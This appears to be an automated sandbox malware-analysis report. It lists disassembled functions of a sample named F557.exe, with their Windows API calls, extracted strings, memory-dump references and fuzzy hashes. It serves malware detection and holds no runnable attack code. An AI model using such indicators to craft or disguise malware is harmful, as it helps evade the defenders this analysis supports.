Part of subcall function 005AA34A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,005AA379,005A8A77,00568000,?,005A3965,00000000,?,00568000,00000000), ref: 005AA35D

WriteConsoleW.KERNEL32(00568000,0000000F,005C4630,00000000,?,005A8A8A,00568000,00000001,00568000,00568000,?,005A3965,00000000,?,00568000,00000000), ref: 005AA3E7

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 33ea6b55976472c352c9a9389f1fd410395dde06c2f7ad211866c5b888b53738
Instruction ID: 1fb0ade1ea59f49efd06aa864bde77318cfa974477b55962b4b54ce6b5e804d7
Opcode Fuzzy Hash: 33ea6b55976472c352c9a9389f1fd410395dde06c2f7ad211866c5b888b53738
Instruction Fuzzy Hash: A5F01C36401159BBCF622FE6DC0899D7F66FB593A1F004512FA1885121D7329924EB92

Uniqueness

Uniqueness Score: -1.00%

Function 0057A8F0 Relevance: 6.0, APIs: 4, Instructions: 27threadsleepCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,0057A7C0,00000000,00000000,00000000), ref: 0057A906
CreateThread.KERNEL32(00000000,00000000,Function_0001A850,00000000,00000000,00000000), ref: 0057A917
CreateThread.KERNEL32(00000000,00000000,0057A8E0,00000000,00000000,00000000), ref: 0057A928
Sleep.KERNEL32(00007530,?,0057A983), ref: 0057A935

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: CreateThread$Sleep
String ID:
API String ID: 422425972-0
Opcode ID: 44c68ae429a760c8877888ef0e3cd1d79192ac6a67e6ca6056a1725a75ec03aa
Instruction ID: 2a79a8b84d42e729a54320fbab1d51cf13662e33fe82564ebb1907eeb09bfdfc
Opcode Fuzzy Hash: 44c68ae429a760c8877888ef0e3cd1d79192ac6a67e6ca6056a1725a75ec03aa
Instruction Fuzzy Hash: 7AE09231BD8328B6F1B022A56C07F0D1E24AB48F52F358012B70C7F0D104C034016AEF

Uniqueness

Uniqueness Score: -1.00%

Function 0058E234 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 180threadCOMMON

Download Yara Rule

APIs

Part of subcall function 0058D6B2: std::bad_exception::bad_exception.LIBCMT ref: 0058D6D4

GetCurrentThread.KERNEL32 ref: 0058E314

Part of subcall function 00583862: GetThreadPriority.KERNEL32(?), ref: 00583868

Concurrency::details::ResourceManager::GetCoreCount.LIBCMT ref: 0058E340

Strings

3W, xrefs: 0058E333

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Thread$Concurrency::details::CoreCountCurrentManager::PriorityResourcestd::bad_exception::bad_exception
String ID: 3W
API String ID: 294561601-3302607274
Opcode ID: b89ca99fe36944b5639e40158eb40943d448e0858991ba1091f284203c549296
Instruction ID: 3da363d382e1cbce38ae4bba07f2796b7d153337a26f966e5ed3c9527c8e554d
Opcode Fuzzy Hash: b89ca99fe36944b5639e40158eb40943d448e0858991ba1091f284203c549296
Instruction Fuzzy Hash: 52711D71A012158FDF48EF74C8967A97BF5BF48700F1885BADC49DF286EB7499408B60

Uniqueness

Uniqueness Score: -1.00%

Function 005A1C00 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 127COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(0000FDE9,?,?,?,00000000), ref: 005A1C32

Strings

+ Z, xrefs: 005A1C17
, xrefs: 005A1C77

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Info
String ID: $+ Z
API String ID: 1807457897-43111737
Opcode ID: 368f115f0168e114e2b5dc7f70b813b87c047a3ba770ec82046fcbdf8150da09
Instruction ID: d7a9ce2f51138e7a98318f8d8cacb29875dadf0d1e308ee92b61389f696cfb04
Opcode Fuzzy Hash: 368f115f0168e114e2b5dc7f70b813b87c047a3ba770ec82046fcbdf8150da09
Instruction Fuzzy Hash: 1A414B70504A489BDB218B68CC98BFE7FFDFB56304F2408ADE59A87043D2749E449B24

Uniqueness

Uniqueness Score: -1.00%

Function 0059C926 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

C:\Users\user\AppData\Local\Temp\F557.exe, xrefs: 0059C969, 0059C970, 0059C9A6

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID:
String ID: C:\Users\user\AppData\Local\Temp\F557.exe
API String ID: 0-1681956840
Opcode ID: e2211cabbd747ee5675fae2b010775fb7d05677d2323ac3dabbdf09bf63465bd
Instruction ID: 5cbabf9ffa407da300d818961caf01e18ddf2d10609b74ac1619cb12561098ed
Opcode Fuzzy Hash: e2211cabbd747ee5675fae2b010775fb7d05677d2323ac3dabbdf09bf63465bd
Instruction Fuzzy Hash: 6D41CEB1E00259AFCF22DB99DC89DAEBFF8FB95310B14006AE404D7211E7719E44DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0058E766 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 116COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 0058E7AE

Strings

pContext, xrefs: 0058E7A6
3W, xrefs: 0058E77F, 0058E795, 0058E836

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: 3W$pContext
API String ID: 2141394445-2240379735
Opcode ID: abc3d6a98d8e6d6860ed31b225e93872d5ff10daec4dfa4e43a7cf4d4ecdf322
Instruction ID: 1bd5cb41ef84efbf0c826aa6d45e6571272d0f57017df2fa907849696565ab37
Opcode Fuzzy Hash: abc3d6a98d8e6d6860ed31b225e93872d5ff10daec4dfa4e43a7cf4d4ecdf322
Instruction Fuzzy Hash: 41415B35B002159FCB08EFA9C8C596EBBB5FF84714B1581B9D911AB352D770AD418F90

Uniqueness

Uniqueness Score: -1.00%

Function 005A1D81 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100COMMON

Download Yara Rule

APIs

Part of subcall function 005A1B2A: GetOEMCP.KERNEL32(00000000,005A1D9C,?,?,0059AFBD,0059AFBD,?), ref: 005A1B55

_free.LIBCMT ref: 005A1DF9

Strings

@b\, xrefs: 005A1E21

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _free
String ID: @b\
API String ID: 269201875-3134013480
Opcode ID: f4f6bd987f2c7582c5986d9bb419297c30c6ea84f9011d3e45eca20e3a01a7fc
Instruction ID: 0a586bc3c82b75830b7b8eea0a14ce031578308cdb612bc616388b0de3194ede
Opcode Fuzzy Hash: f4f6bd987f2c7582c5986d9bb419297c30c6ea84f9011d3e45eca20e3a01a7fc
Instruction Fuzzy Hash: B0319C7190064AAFCF01DF68D885A9E7FF4FF86320F15046AF811AB2A1EB319D51CB64

Uniqueness

Uniqueness Score: -1.00%

Function 005A2A90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,0000FDE9), ref: 005A2B60
__freea.LIBCMT ref: 005A2B69

Part of subcall function 0059E3CB: HeapAlloc.KERNEL32(00000000,?,?,?,005A1DBE,00000220,?,?,?,?,?,?,0059AFBD,?), ref: 0059E3FD

Strings

+ Z, xrefs: 005A2AA3

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: AllocHeapStringType__freea
String ID: + Z
API String ID: 2523373117-3580095579
Opcode ID: 24977c0dc7a866e9ec356b3416d9a1d70c213aac952e0e8934464a198b5c6439
Instruction ID: ecd502926091e01a5e8bd9e764122ee8abb8020cd4fd36c518be2e390819059e
Opcode Fuzzy Hash: 24977c0dc7a866e9ec356b3416d9a1d70c213aac952e0e8934464a198b5c6439
Instruction Fuzzy Hash: DC318C7190021AABDF21AF69CC46DAE7FA9FF85320F094528F914AB251D7308951DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00576927 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 63COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00576940

Strings

1, xrefs: 005769F3
5120, xrefs: 00576987

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID: 1$5120
API String ID: 514040917-1666195334
Opcode ID: 876b8d1a06369dd81d6be74148e62c950f60669a3d1b6b3f27b3bdfdd1e3e0fd
Instruction ID: 0581d28316be5c21c7332387d45f9153c2edd34f1af3681e022f2581016d22dd
Opcode Fuzzy Hash: 876b8d1a06369dd81d6be74148e62c950f60669a3d1b6b3f27b3bdfdd1e3e0fd
Instruction Fuzzy Hash: 87219DB0900248ABEB24EF68C91B7DD7FB8AB46744F5041CCE54827282D7755B489BE3

Uniqueness

Uniqueness Score: -1.00%

Function 0059E890 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0059E8E0
_free.LIBCMT ref: 0059E914

Strings

xa\, xrefs: 0059E907

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: _free
String ID: xa\
API String ID: 269201875-3147343811
Opcode ID: 04979eb16679e1bc6ee511c29b158f7807449f342bdaeaee2551ff3028babffe
Instruction ID: db3253ec076061b982032e82daa086bda6e663de61ff3cf6d01d198e668d1930
Opcode Fuzzy Hash: 04979eb16679e1bc6ee511c29b158f7807449f342bdaeaee2551ff3028babffe
Instruction Fuzzy Hash: 0001A771505B227EDE22F3B4AC0BF3E1D687F52772B180715F910B61F6EA119D0691D2

Uniqueness

Uniqueness Score: -1.00%

Function 005824B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 005824CD
_SpinWait.LIBCONCRT ref: 00582503

Strings

3W, xrefs: 005824ED, 0058251E

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: SpinWait
String ID: 3W
API String ID: 2810355486-3302607274
Opcode ID: 11b8230c5a6f4983e3fd93aab73fe16851071fd6495b76f0595d4e1b3fea36a2
Instruction ID: b254106e60cf99015243c82fb1d7ae91e9b2c62f2fda89603f2756ab5800d6bd
Opcode Fuzzy Hash: 11b8230c5a6f4983e3fd93aab73fe16851071fd6495b76f0595d4e1b3fea36a2
Instruction Fuzzy Hash: 820124319806228BCF247B39E52C32A7FD0BB01710F04891DDC56F7620C764ED818B40

Uniqueness

Uniqueness Score: -1.00%

Function 00595231 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SpinUntilBlocked.LIBCMT ref: 00595241
Concurrency::details::FreeThreadProxy::SetAffinity.LIBCMT ref: 0059528C

Part of subcall function 0059544C: Concurrency::details::HardwareAffinity::operator==.LIBCONCRT ref: 0059545A

Strings

3W, xrefs: 00595255

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Thread$AffinityAffinity::operator==BlockedFreeHardwareSpinUntil
String ID: 3W
API String ID: 2209302084-3302607274
Opcode ID: b8a29ea7a4837763547a0103c92431cc0d8c24ba4ab24afa0cb9448b1b56f77c
Instruction ID: daf75fcf622e732415b44f9df968dd480cc49398c7a35c4106770556ad84500d
Opcode Fuzzy Hash: b8a29ea7a4837763547a0103c92431cc0d8c24ba4ab24afa0cb9448b1b56f77c
Instruction Fuzzy Hash: 8901AD39A00A09AB8F05EF68C0814AEFBB6FF8D300700852BED06A7311DB70A9158BD1

Uniqueness

Uniqueness Score: -1.00%

Function 00595374 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 005953CB

Strings

pContext, xrefs: 005953C3
3W, xrefs: 005953A2

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: std::invalid_argument::invalid_argument
String ID: 3W$pContext
API String ID: 2141394445-2240379735
Opcode ID: 1f6a6e32b4ee8b36c8c52bdd5ecfd364200244041baff59f6c18be95914520ff
Instruction ID: 31cc54b5a0ec8c0d2d0c8509c241c9d9471aeb14b93d1a3111292eeceb62896f
Opcode Fuzzy Hash: 1f6a6e32b4ee8b36c8c52bdd5ecfd364200244041baff59f6c18be95914520ff
Instruction Fuzzy Hash: 36F0F935600A09ABCF04EFA4D895D9DBFB4BF54350B10453AE60153291DBB0BD05C790

Uniqueness

Uniqueness Score: -1.00%

Function 00594280 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 005942AE

Part of subcall function 0058C9A0: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 0058C9C1

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000003,00000004,00000000,?), ref: 005942CB

Strings

3W, xrefs: 00594299

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Context$Base::Concurrency::details::Event$ObjectSingleThrowTraceWait
String ID: 3W
API String ID: 299550707-3302607274
Opcode ID: d3579f6e3163c4fb10289b2d34a664a3d972c4d22503fc2a86503c56f8788d17
Instruction ID: 2a1f4d548c00f9a1e3ac7fc0dce4bcef0588ee1f20a7c0a41c61b097d26f38fb
Opcode Fuzzy Hash: d3579f6e3163c4fb10289b2d34a664a3d972c4d22503fc2a86503c56f8788d17
Instruction Fuzzy Hash: 60F0B435700210AFDB10AB18DC45F2ABBECEB49770F154155F55AE3391C670BC028EA0

Uniqueness

Uniqueness Score: -1.00%

Function 00581F56 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37timeCOMMON

Download Yara Rule

APIs

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 00581F73

Part of subcall function 00581FD1: CreateTimerQueue.KERNEL32(?,?,?,000000FF,00000000,00000020,?,?), ref: 00581FFF

Concurrency::details::platform::__DeleteTimerQueueTimer.LIBCONCRT ref: 00581F7C

Part of subcall function 0058363A: DeleteTimerQueueTimer.KERNEL32(?,?,?,?,?,00581F81,00000000,?,00000000), ref: 0058364A
Part of subcall function 0058363A: GetLastError.KERNEL32(?,00581F81,00000000,?,00000000), ref: 00583654

Strings

3W, xrefs: 00581F97

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Timer$Queue$Delete$Concurrency::details::Concurrency::details::platform::__CreateErrorLastShared
String ID: 3W
API String ID: 703113590-3302607274
Opcode ID: 2efb09051d40ab0e054c0696a757f34455335f5febc3e34b32eacacbc987dd5b
Instruction ID: 7a26c2c4e3054467d6be4b4628fc92ca1be45f89c10f24249c7000500c95aba7
Opcode Fuzzy Hash: 2efb09051d40ab0e054c0696a757f34455335f5febc3e34b32eacacbc987dd5b
Instruction Fuzzy Hash: 0DF0B432B006116BDB00BB65DC88B2AFBADFF95331F044525EA05E3741CB64BC568BE4

Uniqueness

Uniqueness Score: -1.00%

Function 0057F188 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32COMMON

Download Yara Rule

APIs

Part of subcall function 0057F1F6: GetModuleHandleExW.KERNEL32(00000002,00000000,?,?,?,0057F2F3,?,?,00562D02,00000000,00000014), ref: 0057F202

__Mtx_unlock.LIBCPMT ref: 0057F1C1
__Cnd_broadcast.LIBCPMT ref: 0057F1E3

Strings

|F[, xrefs: 0057F1D7

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762902466.00000000005C6000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762994725.00000000005C8000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763057559.00000000005C9000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2763162953.00000000005CB000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_24_2_560000_F557.jbxd

Yara matches

Similarity

API ID: Cnd_broadcastHandleModuleMtx_unlock
String ID: |F[
API String ID: 3792354476-4163905753
Opcode ID: 95252b92ea7b515cffe9d38421ebf429c179d7a7038becffe082914cf53f250e
Instruction ID: 8a34ac5035cf3c9d4a54ace04ea1125d62a14ac13b1c74ce07110def3c3fd326
Opcode Fuzzy Hash: 95252b92ea7b515cffe9d38421ebf429c179d7a7038becffe082914cf53f250e
Instruction Fuzzy Hash: 08F0E270801A06AACF18B7B49C4FB5E2E68BB91320F604D18B40477193CA788502A3A1

Uniqueness

Uniqueness Score: -1.00%

Function 0058EC0C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 32threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxyFactoryManager::GetFreeThreadProxyFactory.LIBCONCRT ref: 0058EC21
Concurrency::details::FreeThreadProxy::AssociateExecutionContext.LIBCONCRT ref: 0058EC4E

Strings

3W, xrefs: 0058EC3D

Memory Dump Source

Source File: 00000018.00000002.2762475426.0000000000561000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00560000, based on PE: true

Associated: 00000018.00000002.2762397226.0000000000560000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000018.00000002.2762827517.00000000005B4000.00000002.00000001.01000000.0000000C.sdmpDownload File
